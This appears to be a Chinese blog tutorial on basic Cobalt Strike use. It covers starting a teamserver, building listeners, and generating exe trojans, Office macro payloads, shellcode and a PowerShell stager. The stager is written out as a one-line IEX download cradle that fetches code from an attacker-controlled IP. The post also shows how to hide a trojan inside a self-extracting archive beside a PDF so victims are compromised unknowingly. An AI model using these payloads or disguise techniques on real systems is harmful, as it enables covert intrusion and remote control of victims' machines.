cobalt strike基础使用

2023-12-13 02:30
文章标签 基础 使用 cobalt strike

本文主要是介绍cobalt strike基础使用,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

coblat strike使用

服务搭建

首先将server端文件放进kali中

image-20231212193304738

对其赋权

image-20231212193638023

执行时需要root权限

设置ip

启动服务

./teamserver 10.4.7.138 123456

image-20231212194014237

回到win11启动cs,输入刚才配置的信息

image-20231212194210950

上线方式

木马(exe上线)

查看一下开放的端口

image-20231212195247967

添加监听

image-20231212195709609

再查看端口就发现一个新的监听端口

image-20231212195747671

新建木马

image-20231212195857878

image-20231212195929414

如果使用耳机添加过监听的话,选择choose就行了

执行一下木马,主机就上线了

image-20231212200311775

右键选择interact可以进入beacon会话

此时可以将sleep设为3

image-20231212200536161

直接用问号就可以看能使用的命令字

image-20231212200614616

也可以执行命令

shell whoami

image-20231212200912783

点击这个可以看到连接关系

image-20231212201144509

宏病毒

image-20231212202832048

输入个名字创建一下

image-20231212203110610

选择ms office

image-20231212203148817

生成之后选择复制

image-20231212203238342

内容粘贴进去

image-20231212203520457

生成的文件双击点击上线

image-20231212203926501

powershell

image-20231212205049332

同样选择监听对象然后生成

image-20231212205117277

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.4.7.138:80/a'))"

powershell中执行一下,主机上线

image-20231212205237569

shellcode

image-20231212205709035

仍然是选择监听对象然后生成

可以记事本打开看看

image-20231212205757425

这些数据格式其实就是硬编码加x

image-20231212210056630

可以使用加载器将这串编成exe格式

首先生成一个木马,然后贴进去一个pdf文件

image-20231212212828388

选中两个选择添加压缩文件

image-20231212212851615

勾选创建自解压文件

image-20231212212933306

image-20231212213845230

image-20231212213950585

image-20231212214010757

image-20231212214051266

image-20231212214947911

此处需要将光标放在fdp之前,插入完成后可以看到

image-20231212215020077

双击之后主机就会上线

image-20231212215119187

并且打开pdf文件

image-20231212215150510

插件

image-20231212215350209

image-20231212215401142

image-20231212215427653

重载后发现多了一个巨龙拉冬

image-20231212215515044

这篇关于cobalt strike基础使用的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/486839

相关文章

Java使用ANTLR4对Lua脚本语法校验详解

《Java使用ANTLR4对Lua脚本语法校验详解》ANTLR是一个强大的解析器生成器,用于读取、处理、执行或翻译结构化文本或二进制文件,下面就跟随小编一起看看Java如何使用ANTLR4对Lua脚本... 目录什么是ANTLR?第一个例子ANTLR4 的工作流程Lua脚本语法校验准备一个Lua Gramm

Java Optional的使用技巧与最佳实践

《JavaOptional的使用技巧与最佳实践》在Java中,Optional是用于优雅处理null的容器类,其核心目标是显式提醒开发者处理空值场景,避免NullPointerExce... 目录一、Optional 的核心用途二、使用技巧与最佳实践三、常见误区与反模式四、替代方案与扩展五、总结在 Java

Android Mainline基础简介

《AndroidMainline基础简介》AndroidMainline是通过模块化更新Android核心组件的框架,可能提高安全性,本文给大家介绍AndroidMainline基础简介,感兴趣的朋... 目录关键要点什么是 android Mainline?Android Mainline 的工作原理关键

使用Java将DOCX文档解析为Markdown文档的代码实现

《使用Java将DOCX文档解析为Markdown文档的代码实现》在现代文档处理中,Markdown(MD)因其简洁的语法和良好的可读性,逐渐成为开发者、技术写作者和内容创作者的首选格式,然而,许多文... 目录引言1. 工具和库介绍2. 安装依赖库3. 使用Apache POI解析DOCX文档4. 将解析

Qt中QUndoView控件的具体使用

《Qt中QUndoView控件的具体使用》QUndoView是Qt框架中用于可视化显示QUndoStack内容的控件,本文主要介绍了Qt中QUndoView控件的具体使用,具有一定的参考价值,感兴趣的... 目录引言一、QUndoView 的用途二、工作原理三、 如何与 QUnDOStack 配合使用四、自

C++使用printf语句实现进制转换的示例代码

《C++使用printf语句实现进制转换的示例代码》在C语言中,printf函数可以直接实现部分进制转换功能,通过格式说明符(formatspecifier)快速输出不同进制的数值,下面给大家分享C+... 目录一、printf 原生支持的进制转换1. 十进制、八进制、十六进制转换2. 显示进制前缀3. 指

使用Python构建一个Hexo博客发布工具

《使用Python构建一个Hexo博客发布工具》虽然Hexo的命令行工具非常强大,但对于日常的博客撰写和发布过程,我总觉得缺少一个直观的图形界面来简化操作,下面我们就来看看如何使用Python构建一个... 目录引言Hexo博客系统简介设计需求技术选择代码实现主框架界面设计核心功能实现1. 发布文章2. 加

shell编程之函数与数组的使用详解

《shell编程之函数与数组的使用详解》:本文主要介绍shell编程之函数与数组的使用,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录shell函数函数的用法俩个数求和系统资源监控并报警函数函数变量的作用范围函数的参数递归函数shell数组获取数组的长度读取某下的

使用Python开发一个带EPUB转换功能的Markdown编辑器

《使用Python开发一个带EPUB转换功能的Markdown编辑器》Markdown因其简单易用和强大的格式支持,成为了写作者、开发者及内容创作者的首选格式,本文将通过Python开发一个Markd... 目录应用概览代码结构与核心组件1. 初始化与布局 (__init__)2. 工具栏 (setup_t

Python虚拟环境终极(含PyCharm的使用教程)

《Python虚拟环境终极(含PyCharm的使用教程)》:本文主要介绍Python虚拟环境终极(含PyCharm的使用教程),具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,... 目录一、为什么需要虚拟环境?二、虚拟环境创建方式对比三、命令行创建虚拟环境(venv)3.1 基础命令3